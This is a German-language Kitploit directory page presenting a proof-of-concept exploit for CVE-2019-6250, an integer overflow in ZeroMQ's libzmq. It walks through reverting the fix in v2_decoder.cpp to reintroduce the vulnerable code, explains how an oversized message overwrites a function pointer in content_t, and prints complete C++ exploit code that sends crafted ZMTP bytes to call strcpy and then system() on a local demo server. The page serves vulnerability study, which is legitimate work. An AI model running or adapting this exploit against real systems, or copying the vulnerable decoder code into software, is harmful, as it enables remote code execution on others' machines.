Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-6250-libzmq — Proof-of-Concept-Exploit für CVE-2019-6250, der einen Integer Overflow in ZeroMQs libzmq demonstriert, was zu einer willkürlichen Codeausführung durch präparierte Nachrichten führt. | Kitploit
Tools/GitHubGitHub/akashicyitai/cve-2019-6250-libzmq
SpeicherforensikSchwachstellenanalyseExploitationFuzzingPayload-EntwicklungBinary-Exploitation
GitHubakashicyitai/cve-2019-6250-libzmq

CVE-2019-6250-libzmq

Proof-of-Concept-Exploit für CVE-2019-6250, der einen Integer Overflow in ZeroMQs libzmq demonstriert, was zu einer willkürlichen Codeausführung durch präparierte Nachrichten führt.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

CVE-2019-6250-libzmq

ZeroMQ(ZMQ)

ZeroMQ (ZMQ) ist eine leistungsstarke asynchrone Nachrichtenbibliothek, die darauf abzielt, einen effizienten und flexiblen Nachrichtenübermittlungsmechanismus für verteilte oder parallele Computerumgebungen bereitzustellen. ZeroMQ bietet mehrere Nachrichtenübermittlungsmodi (wie Anfrage-Antwort, Veröffentlichung-Abonnement, Push-Pull, Proxy) und unterstützt mehrere Transportprotokolle (wie TCP, IPC, PGM). Das Designziel von ZeroMQ ist es, die Netzwerkprogrammierung zu vereinfachen und die Leistung durch die Bereitstellung effizienter Nachrichtenwarteschlangen zu steigern.

libzmq

libzmq ist die Kernimplementierungsbibliothek von ZeroMQ, die sich normalerweise auf die C-Sprachimplementierung der ZeroMQ-Bibliothek bezieht. Es ist die konkrete Implementierung der ZeroMQ-Funktionalität und bietet grundlegende Unterstützung für verschiedene Programmiersprachen. libzmq stellt alle Kernfunktionen von ZeroMQ bereit und kann mit verschiedenen Sprachbindungen verwendet werden.

Angriffsmethode

Lade die libzmq-Bibliothek herunter

root@kitploit:~
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

Der Autor hat diese Schwachstelle bereits behoben. Gehe zu src/v2_decoder.cpp und ändere den Inhalt der Funktion zmq::v2_decoder_t::size_ready in den folgenden Code, um die Schwachstelle zu reproduzieren:

root@kitploit:~
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
    int rc = _in_progress.close ();
    assert (rc == 0);

    // the current message can exceed the current buffer. We have to copy the buffer
    // data into a new message and complete it in the next receive.

    shared_message_memory_allocator &allocator = get_allocator ();
    if (unlikely (!_zero_copy
                  || ((unsigned char *) read_pos_ + msg_size_
                      > (allocator.data () + allocator.size ())))) {
        // a new message has started, but the size would exceed the pre-allocated arena
        // this happens every time when a message does not fit completely into the buffer
        rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
    } else {
        // construct message using n bytes from the buffer as storage
        // increase buffer ref count
        // if the message will be a large message, pass a valid refcnt memory location as well
        rc =
          _in_progress.init (const_cast<unsigned char *> (read_pos_),
                             static_cast<size_t> (msg_size_),
                             shared_message_memory_allocator::call_dec_ref,
                             allocator.buffer (), allocator.provide_content ());

        // For small messages, data has been copied and refcount does not have to be increased
        if (_in_progress.is_zcmsg ()) {
            allocator.advance_content ();
            allocator.inc_ref ();
        }
    }

    if (unlikely (rc)) {
        errno_assert (errno == ENOMEM);
        rc = _in_progress.init ();
        errno_assert (rc == 0);
        errno = ENOMEM;
        return -1;
    }

    _in_progress.set_flags (_msg_flags);
    // this sets read_pos to
    // the message data address if the data needs to be copied
    // for small message / messages exceeding the current buffer
    // or
    // to the current start address in the buffer because the message
    // was constructed to use n bytes from the address passed as argument
    next_step (_in_progress.data (), _in_progress.size (),
               &v2_decoder_t::message_ready);

    return 0;
}

Installiere die libzmq-Bibliothek

root@kitploit:~
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

Lade cppzmq herunter und installiere es

root@kitploit:~
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

Ersetze /demo/main.cpp durch die main.cpp aus diesem Repository

Kompiliere main.cpp

root@kitploit:~
cd demo
mkdir build
cd build
cmake ..
make
./demo

Ort der Schwachstellenauslösung

Der folgende Inhalt von Libzmq/src/v2_decoder.cpp enthält einen Integer-Überlauf. Wenn der Wert von msg_size_ sehr groß ist, ist read_pos + msg_size_ stattdessen eine sehr kleine Zahl, wodurch die if-Bedingung falsch wird und das Programm die Nachrichtengröße nicht initialisiert. if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {

Daher kann man mit der geschriebenen Nachricht den Speicher hinter dem Puffer überschreiben. Der Speicher hinter dem Puffer ist eine Struktur content_t, die einen Funktionszeiger ffn sowie die Funktionsparameter data und hint enthält. 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };

Ausnutzung der Schwachstelle

Durch die Kontrolle der übertragenen Nachrichten kann man die oben genannten Funktionszeiger und -parameter mit bestimmten Funktionen und ihren Parametern überschreiben und so einen Angriff durchführen.

root@kitploit:~
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
    public:
    Thread() : the_thread(&Thread::ThreadMain, this)
    { }
    ~Thread(){
    }
    private:
    std::thread the_thread;
    void ThreadMain() {
        zmq::context_t context (1);
        zmq::socket_t socket (context, ZMQ_REP);
        socket.bind ("tcp://*:6666");

        while (true) {
            zmq::message_t request;

            // Wait for next request from client
            try {
                socket.recv (&request);
            } catch ( ... ) { }
        }
    }
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
    int s;
    struct sockaddr_in remote_addr = {};
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        abort();
    }
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons(6666);
    inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

    if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
    {
        abort();
    }

    const uint8_t greeting[] = {
        0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
        0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
        0x00, /* Unused */
    };
    send(s, greeting, sizeof(greeting), 0);

    const uint8_t v2msg[] = {
        0x02, /* v2_decoder_t::eight_byte_size_ready */
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
    };
    send(s, v2msg, sizeof(v2msg), 0);

    /* Write UNTIL the location of zmq::msg_t::content_t */
    size_t plsize = 8183;
    uint8_t* pl = (uint8_t*)calloc(1, plsize);
    send(s, pl, plsize, 0);
    free(pl);

    uint8_t content_t_replacement[] = {
        /* void* data */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* size_t size */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* msg_free_fn *ffn */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* void* hint */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };

    /* Assumes same endianness as target */
    memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
    memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
    memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

    /* Overwrite zmq::msg_t::content_t */
    send(s, content_t_replacement, sizeof(content_t_replacement), 0);

    close(s);
    sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
    Thread* rt = new Thread();
    sleep(1);

    callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);

    callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

    return 0;
}
Tool herunterladen